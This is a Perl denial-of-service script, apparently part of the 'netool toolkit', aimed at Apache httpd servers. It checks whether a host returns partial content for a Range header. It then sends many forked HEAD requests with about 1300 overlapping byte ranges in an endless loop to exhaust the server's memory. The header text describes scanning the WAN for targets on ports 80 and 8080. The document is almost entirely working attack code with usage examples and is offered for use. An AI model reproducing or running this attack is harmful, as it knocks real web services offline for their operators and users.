[ netool toolkit ] Apache httpd d0s exploit

#################################################################
# (netool t00lkit v4.5 -> Apache httpd Remote Denial of Service #
# this function will be inserted in netool -> r00tsect0r module #
# we are going to use nmap to search in WAN for 8080 or in LAN  #
# for port 80+8080 and lunch a denial-of-service attack         #
# ------------------------------------------------------------- #
# Develop  By: peterubuntu10[at]sourceforge[dot]net             #
# Special Thanks to: rob van der woude (IO::Socket -> funtion)  #
# ------------------------------------------------------------- #
# usage: perl killhttpd.pl <host> [numforks]                    #
# example: perl killhttpd.pl www.example.com 50                 #
# example: perl killhttpd.pl 192.168.1.68 50                    #
#################################################################
#!/usr/bin/perl




# ------------------------------
# perl dependencies
# ------------------------------
use IO::Socket;
use Parallel::ForkManager;
use Term::ANSIColor;




# ------------------------------
# Banner sub usage display
# ------------------------------
sub bannerusage {

    print color("blue"), "[!] Apache Remote Denial of Service (memory exhaustion)\n", color("reset");
    print color("cyan"), "[!] usage: perl killhttpd.pl <host> [numforks]\n", color("reset");
    print color("cyan"), "[!] example: perl killhttpd.pl www.example.com 50\n", color("reset");
    print color("cyan"), "[!] example: perl killhttpd.pl 192.168.1.68 50\n", color("reset");
}




# ------------------------------
# test if Apache httpd is vulnerable
# ------------------------------
sub testhttpd {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 PeerPort => "8080",
                             Proto    => 'tcp');

# build http header
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

  $x = <$sock>;
  if ($x =~ /Partial/) {
      print color("green"), "[!] host seems vuln\n", color("reset");
      return 1;
  } else {
      return 0;
  }
}

# exit script if args < 0
# host not vulnerable banner/exit script
if ($#ARGV < 0) {
    bannerusage;
    exit;
}

# if args > 1
# store number of forks to use on attack
if ($#ARGV > 1) {
    $numforks = $ARGV[1];
} else {$numforks = 50;}




# ------------------------------
# display results of apache test/exit OR goto killhttpd
# ------------------------------
$v = testhttpd();
if ($v == 0) {
    print color("red"), "[x] Host does not seem vulnerable\n", color("reset");
    exit;
}
while(1) {
killhttpd();
}




# ------------------------------
# funtion kill httpd service
# ------------------------------
sub killhttpd {
print color("blue") "[!] ATTACKING: $ARGV[0] [using $numforks forks]\n", color("reset");
$pm = new Parallel::ForkManager($numforks);

  $|=1;
  srand(time());
  $p = "";
  for ($k=0;$k<1300;$k++) {
      $p .= ",5-$k";
}

# building  socks
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;

$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                                 PeerPort => "8080",
                                 Proto    => 'tcp');

# build http header
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

  while(<$sock>) {
  }
   $pm->finish;
  }
  $pm->wait_all_children;
  print ":pPpPpppPpPPppPpppPp\n";
}